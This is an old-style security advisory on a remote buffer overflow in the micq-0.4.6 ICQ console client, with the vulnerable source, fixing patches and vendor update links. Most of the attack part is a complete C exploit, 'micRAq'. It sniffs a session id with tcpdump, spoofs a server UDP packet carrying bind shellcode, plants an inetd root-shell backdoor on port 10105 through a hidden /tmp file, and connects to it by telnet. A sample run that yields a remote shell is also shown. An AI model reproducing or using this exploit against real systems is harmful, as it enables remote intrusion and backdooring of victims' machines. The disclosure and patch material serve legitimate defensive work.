COMMAND
micq
SYSTEMS AFFECTED
micq-0.4.6
PROBLEM
Following is based on a [PkC] Advisory #003. This has been tested
on Linux/ix86 (Slackware 7.1 - RedHat 6.1).
micq-0.4.6 is one of the best ICQ emulator for linux console.
There is a buffer overflow in sprintf() in icq_response.c in
function Do_Msg() at line 879, that allows to a remote attacker
able to sniff packets to ICQ server to execute arbitrary code on
the victim system. There is a local buffer overflow, too. If you
send an URL message with a too large description, the program
receives a SIGSEGV. Because of the program is not suid, we don't
analyze this bof further more.
icq_response.c:
void Do_Msg( SOK_T sok, DWORD type, WORD len, char * data, DWORD uin )
{
char *tmp;
int x,m;
char message[1024];
char url_data[1024];
char url_desc[1024];
[ ... ]
else if (type == URL_MESS || type == MRURL_MESS)
{
tmp = strchr( data, '\xFE' );
if ( tmp == NULL )
{
M_print( "Ack!!!!!!! Bad packet" );
return;
}
*tmp = 0;
char_conv ("wc",data);
strcpy (url_desc,data);
tmp++;
data = tmp;
char_conv ("wc",data);
strcpy (url_data,data);
===> sprintf (message,"Description: %s \n URL: %s",
===> url_desc,url_data);
if ( UIN2nick( uin ) != NULL )
log_event( uin, LOG_MESS, "You received URL message from %s\n%s\n",
UIN2nick(uin), message );
else
log_event( uin, LOG_MESS, "You received URL message from %d\n%s\n",
uin, message );
M_print( " URL Message.\n Description: " MESSCOL "%s" NOCOL "\n",
url_desc );
M_print( " URL : " MESSCOL "%s" NOCOL "\n",
url_data );
}
The buffer overflow is due to a malicious URL message sent by the
server. The client reads 1024 bytes from the UDP socket, trim the
message headers and split the remaining data in the 1024 bytes
url_data and url_desc, recombining in the message char buffer,
adding about fifty digits. Because of the url_data is 1024 bytes
long, this instruction can be used to overwrite the return address
of the function and execute arbitrary code on the client machine.
Exploiting this bof is a little hard. The main problem is that
we need a large amount of data to be send as URL, but ICQ servers
seem to trim packets bigger than 500 bytes. So the mad way found
is to spoof ICQ server and send the malicious packet directly to
the client (micq only uses server connection). In order to make
it works, we need some extra data on the connection, that requires
sniffing at least one packet from the existant connection, like
<hex_session>, that identify the connection. This can be done
easily with tcpdump 3.6.1. Let's see how:
(data and ip are random)
[root@pkcrew:~]# tcpdump -i eth0 -s 49 -tnx udp src port 4000
tcpdump: listening on eth0
[ ... ]
205.188.153.105.4000 > 32.96.111.130.1080: udp 21 (DF)
4500 0031 747f 4000 eb11 a72c cdbc 996a
ceb6 3e32 0fa0 0501 001d 4c3d 0500 00f4
b10f 5a
[ ... ]
16 packets received by filter
0 packets dropped by kernel
[root@pkcrew:~]#
(<hex_session> is the last 4 shown bytes)
Now we have all the data we need. Let's try to exploit this
(don't try THIS):
[root@pkcrew:~]# ./micRAq 32.96.111.130 1080 205.188.153.105 f4b10f4a
[ [ micRAq ] - by tHE rECIdjVO <recidjvo@pkcrew.org> ]
Packet Knights - http://www.pkcrew.org/
Using buffer address: 0xbfffedb0
"To be, or not to be.
This is the question."
(William Shakespere)
Trying 32.96.111.130...
Connected to 32.96.111.130.
Escape character is '^]'.
bash$
Good. The program sends a spoofed UDP packet formatted to be
parsed as an URL message, but with malicious code in it. It was
written using my linux buffer address and offset, but it can be
easily changed for other situations. The shellcode open a shell
on port 3879/tcp, then the exploit sends the execution of a inetd
session with a shell binded on port 10000/tcp, and execl() to
telnet on that port, giving you an interactive sh on the remote
machine.
When micq crashes, it prints the malicious URL, so on the other
side the victim see a lot of unprintable characters and the
/bin/sh string too.
/*
[ micRAq ] - by tHE rECIdjVO <recidjvo@pkcrew.org>
Packet Knights - http://www.pkcrew.org/
- version affected: micq-0.4.6 - maybe others (http://freshmeat.net/)
- coded for: ix86/Linux-2.2.16
- gcc version: egcs-2.91.66
usage: ./micRAq <client_ip> <client_port> <server_ip> <hex_session> [address]
Please read PkC Advisory #003 first.
Catch parameters with tcpdump-3.6.1 (http://www.tcpdump.org/)
Last 4 shown bytes are <hex_session>
# tcpdump -i <interface> -s 49 -tnx udp src port 4000
Dedicated to: Francesca (I'll never forget you :*)
Tnx: |CyRaX|, asynchro, vecna, Nail, [ndk], MatOfPeng
*/
#define DEFAULT_BUFFER_ADDRESS 0xbfffeea0
#define OFFSET 991
#define ICQ_SERVER_PORT 4000
#define BACK_PORT "10105"
#define NOP '\x90'
#define COMMAND "echo -e \"" BACK_PORT " stream tcp nowait `whoami` /bin/sh sh -i\">/tmp/.micRAqbd;/usr/sbin/inetd /tmp/.micRAqbd;sleep 1;rm /tmp/.micRAqbd;exit;"
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
int main(int argc, char *argv[]);
unsigned short in_cksum (u_short *addr, int len); // Ripped. Who didn't it? ;)
void build_buffer(char *buffer, unsigned long *buff_addr);
int go(char *ip);
// bind shellcode by [multiple]
char shellcode[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
typedef struct
{
unsigned char uin[4];
unsigned char year[2];
unsigned char month;
unsigned char day;
unsigned char hour;
unsigned char minute;
unsigned char type[2];
unsigned char len[2];
} RECV_MESSAGE, *RECV_MESSAGE_PTR;
struct SRV_ICQ_pak
{
unsigned char ver[2];
unsigned char zero;
unsigned char session[4];
unsigned char cmd[2];
unsigned char seq[2];
unsigned char seq2[2];
unsigned char UIN[4];
unsigned char check[4];
};
struct srv_net_icq_pak
{
struct SRV_ICQ_pak head;
unsigned char data[1024];
};
unsigned short in_cksum (u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
void build_buffer(char *buffer, unsigned long *buff_addr)
{
// Fill the data headers
memset(buffer, '\b', 1024);
memset(buffer, '\0', 7);
buffer[4] = '\x04';
buffer[8] = '\xFE';
// Fill the buffer
memset(buffer + 9, NOP, strtoul(buffer, NULL, 10) + OFFSET - strlen(shellcode) - 9);
memcpy(buffer + OFFSET - strlen(shellcode), shellcode, strlen(shellcode));
memcpy(buffer + OFFSET, buff_addr, 4);
buffer[1023] = '\0';
return;
}
int go(char *ip)
{
int sock, conn;
struct sockaddr_in saddr;
// Create socket
if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket()");
return(-1);
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(ip);
saddr.sin_port = htons(3879);
// Connect to 3879 and issue COMMAND
if((conn = connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))) < 0) {
perror("connect()");
return(-1);
}
send(sock, COMMAND, sizeof(COMMAND), 0);
// All done here
close(sock);
return(0);
}
int main(int argc, char *argv[])
{
int sock, i, hincl = 1;
unsigned long buff_addr = DEFAULT_BUFFER_ADDRESS;
struct sockaddr_in saddr;
struct ip *pip;
struct udphdr *pudp;
char *packet, conv[3];
struct srv_net_icq_pak *pak;
RECV_MESSAGE_PTR r_data;
printf("\n\t[ [ micRAq ] - by tHE rECIdjVO <recidjvo@pkcrew.org> ]\n\t\tPacket Knights - http://www.pkcrew.org/\n\n");
if((argc != 5) && (argc != 6)) {
printf("usage: %s <client_ip> <client_port> <server_ip> <hex_session> [buffer]\n\n", argv[0]);
exit(-1);
}
if(strlen(argv[4]) != 8) {
printf("Error: <session> must be 8 digits exadecimal number.\n\n");
exit(-1);
}
if(argc == 6) {
buff_addr = strtoul(argv[5], NULL, 16);
}
printf("Using buffer address: 0x%x\n\n", buff_addr);
// Create the RAW socket
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket()");
exit(-1);
}
if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)) < 0) {
perror("setsockopt()");
close(sock);
exit(-1);
}
// Set pointers
packet = malloc(sizeof(struct ip) + sizeof(struct udphdr) + 1024);
pip = (struct ip *)packet;
pudp = (struct udphdr *)(packet + sizeof(struct ip));
pak = (struct srv_net_icq_pak *)(packet + sizeof(struct ip) + sizeof(struct udphdr));
// Clear packet
memset(packet, 0, sizeof(struct ip) + sizeof(struct udphdr) + 1024);
// Fill the packet headers
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(argv[1]);
pip->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + 1024);
pip->ip_hl = 5;
pip->ip_v = 4;
pip->ip_ttl = 255;
pip->ip_tos = 0;
pip->ip_off = 0;
pip->ip_id = htons(getpid());
pip->ip_p = IPPROTO_UDP;
pip->ip_src.s_addr = inet_addr(argv[3]);
pip->ip_dst.s_addr = inet_addr(argv[1]);
pip->ip_sum = in_cksum((u_short*)pip, sizeof(struct ip));
pudp->source = htons(ICQ_SERVER_PORT);
pudp->dest = htons(atoi(argv[2]));
pudp->len = htons(sizeof(struct udphdr) + 1024);
pudp->check = 0;
// Fill the message headers
pak->head.ver[0] = 5;
pak->head.ver[1] = 0;
pak->head.zero = 0;
for(i = 0; i < 8; i += 2) {
conv[0] = argv[4][i];
conv[1] = argv[4][i + 1];
conv[2] = '\0';
pak->head.session[i / 2] = strtol(conv, NULL, 16);
}
pak->head.cmd[0] = 4;
pak->head.cmd[1] = 1;
pak->head.seq[0] = 0;
pak->head.seq[1] = 0;
pak->head.seq2[0] = 0;
pak->head.seq2[1] = 0;
pak->head.UIN[0] = 0;
pak->head.UIN[1] = 0;
pak->head.UIN[2] = 0;
pak->head.UIN[3] = 0;
pak->head.check[0] = 0;
pak->head.check[1] = 0;
pak->head.check[2] = 0;
pak->head.check[3] = 0;
// Fill the buffer
build_buffer(pak->data, &buff_addr);
// Send the packet
if(sendto(sock, packet, sizeof(struct ip) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *)&saddr, sizeof(struct sockaddr_in)) < 0) {
perror("sendto()");
close(sock);
exit(-1);
}
// Clear the socket
close(sock);
// Send command to execute inetd backdoor
sleep(1);
// First connect
if(go(argv[1]) < 0) {
printf("Unable to connect :\\\n");
exit(-1);
}
// Wait a bit to let the command to be issued
sleep(1);
printf("\t\"To be");
fflush(stdout);
sleep(2);
printf(", or not to be.\n");
sleep(1);
printf("\t This is the question.\"\n");
sleep(1);
printf("\t\t\t(William Shakespeare)\n\n");
// Connect to remote host
execl("/usr/bin/telnet", "telnet", argv[1], BACK_PORT, NULL);
// Never been here
exit(-1);
}
SOLUTION
A simple patch can be to increase the message buffer size up to 50
bytes. Here is the patch. It is very simple and somehow system
dependant: you need snprintf/vsnprintf to have it working.
========= cut micq-0.4.6.snprintf.diff ===============================
--- micq-0.4.6/icq_response.c.orig Wed Jan 24 18:49:09 2001
+++ micq-0.4.6/icq_response.c Wed Jan 24 18:50:11 2001
@@ -724,7 +724,7 @@
{
char *tmp;
int x,m;
- char message[1024];
+ char message[1074];
char url_data[1024];
char url_desc[1024];
@@ -876,7 +876,7 @@
char_conv ("wc",data);
strcpy (url_data,data);
- sprintf (message,"Description: %s \n URL: %s",url_desc,url_data);
+ snprintf (message, sizeof(message), "Description: %s \n URL: %s",url_desc,url_data);
if ( UIN2nick( uin ) != NULL )
log_event( uin, LOG_MESS, "You received URL message from %s\n%s\n", UIN2nick(uin), message );
else
--- micq-0.4.6/sendmsg.c.orig Wed Jan 24 18:35:17 2001
+++ micq-0.4.6/sendmsg.c Wed Jan 24 18:38:51 2001
@@ -975,9 +975,9 @@
void icq_sendurl( SOK_T sok, DWORD uin, char *description, char *url )
{
- char buf[450];
+ char buf[500];
- sprintf( buf, "%s\xFE%s", url, description );
+ snprintf( buf, sizeof(buf), "%s\xFE%s", url, description );
icq_sendmsg( sok, uin, buf, URL_MESS );
}
--- micq-0.4.6/util_ui.c.orig Wed Jan 24 18:41:01 2001
+++ micq-0.4.6/util_ui.c Wed Jan 24 18:43:19 2001
@@ -102,7 +102,7 @@
assert( 2048 >= strlen( str ) );
va_start( args, str );
- vsprintf( buf, str, args );
+ vsnprintf( buf, sizeof(buf), str, args );
k = write( fd, buf, strlen( buf ) );
if ( k != strlen( buf ) )
{
@@ -292,7 +292,7 @@
va_start( args, str );
#ifndef CURSES_UI
- vsprintf( buf, str, args );
+ vsnprintf( buf, sizeof(buf), str, args );
str2 = buf;
while ( (void *) NULL != ( str1 = strchr( str2, '\x1b' ) ) )
{
Here is a little patch for micq messaging system to increase it
readability in parts.
--- micq-0.4.6/msg_queue.c.orig Thu Oct 12 14:11:40 2000
+++ micq-0.4.6/msg_queue.c Thu Oct 12 14:12:30 2000
@@ -139,9 +139,9 @@
}
if ( Chars_2_Word( &queued_msg->body[CMD_OFFSET] ) == CMD_SENDM ) {
R_undraw();
- M_print( MESSAGE_SENT_1_STR );
+ M_print( MESSAGE_QUEUED_1_STR );
Print_UIN_Name( Chars_2_DW( &queued_msg->body[PAK_DATA_OFFSET] ) );
- M_print( MESSAGE_SENT_2_STR );
+ M_print( MESSAGE_QUEUED_2_STR );
R_redraw();
}
free(queued_msg->body);
--- micq-0.4.6/english.h.orig Thu Oct 12 14:08:27 2000
+++ micq-0.4.6/english.h Thu Oct 12 14:11:26 2000
@@ -283,6 +283,8 @@
/* will hopefully solve any potential word order problems */
#define MESSAGE_SENT_1_STR "Message sent to "
#define MESSAGE_SENT_2_STR "!\n"
+#define MESSAGE_QUEUED_1_STR "Queued message for "
+#define MESSAGE_QUEUED_2_STR "... "
/********************************************************************/
/* Simple Yes no response*/
--- micq-0.4.6/russian.h.orig Thu Oct 12 14:09:01 2000
+++ micq-0.4.6/russian.h Thu Oct 12 14:10:56 2000
@@ -283,6 +283,8 @@
/* will hopefully solve any potential word order problems */
#define MESSAGE_SENT_1_STR "Сообщение ушло "
#define MESSAGE_SENT_2_STR "!\n"
+#define MESSAGE_QUEUED_1_STR "Сообщение для "
+#define MESSAGE_QUEUED_2_STR "поставлено в очередь... "
/********************************************************************/
/* Simple Yes no response*/
@@ -391,6 +393,8 @@
/* will hopefully solve any potential word order problems */
#define MESSAGE_SENT_1_STR "Сообщение ушло "
#define MESSAGE_SENT_2_STR "\n"
+#define MESSAGE_QUEUED_1_STR "Сообщение для "
+#define MESSAGE_QUEUED_2_STR "поставлено в очередь... "
/********************************************************************/
/* Simple Yes no response*/
For RedHat:
ftp://updates.redhat.com/powertools/6.0/SRPMS/micq-0.4.6-1.src.rpm
ftp://updates.redhat.com/powertools/6.0/alpha/micq-0.4.6-1.alpha.rpm
ftp://updates.redhat.com/powertools/6.0/i386/micq-0.4.6-1.i386.rpm
ftp://updates.redhat.com/powertools/6.0/sparc/micq-0.4.6-1.sparc.rpm
ftp://updates.redhat.com/powertools/6.1/SRPMS/micq-0.4.6-1.src.rpm
ftp://updates.redhat.com/powertools/6.1/alpha/micq-0.4.6-1.alpha.rpm
ftp://updates.redhat.com/powertools/6.1/i386/micq-0.4.6-1.i386.rpm
ftp://updates.redhat.com/powertools/6.1/sparc/micq-0.4.6-1.sparc.rpm
ftp://updates.redhat.com/powertools/6.2/SRPMS/micq-0.4.6-1.src.rpm
ftp://updates.redhat.com/powertools/6.2/alpha/micq-0.4.6-1.alpha.rpm
ftp://updates.redhat.com/powertools/6.2/i386/micq-0.4.6-1.i386.rpm
ftp://updates.redhat.com/powertools/6.2/sparc/micq-0.4.6-1.sparc.rpm
ftp://updates.redhat.com/powertools/7.0/SRPMS/micq-0.4.6-2.src.rpm
ftp://updates.redhat.com/powertools/7.0/alpha/micq-0.4.6-2.alpha.rpm
ftp://updates.redhat.com/powertools/7.0/i386/micq-0.4.6-2.i386.rpm
For Debian:
http://security.debian.org/dists/stable/updates/main/source/micq_0.4.3-4.dsc
http://security.debian.org/dists/stable/updates/main/source/micq_0.4.3.orig.tar.gz
http://security.debian.org/dists/stable/updates/main/source/micq_0.4.3-4.diff.gz
http://security.debian.org/dists/stable/updates/main/binary-i386/micq_0.4.3-4_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/micq_0.4.3-4_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/micq_0.4.3-4_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/micq_0.4.3-4_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/micq_0.4.3-4_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/micq_0.4.3-4_arm.deb
For FreeBSD:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/net/micq-0.4.6.1.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/net/micq-0.4.6.1.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/net/micq-0.4.6.1.tgz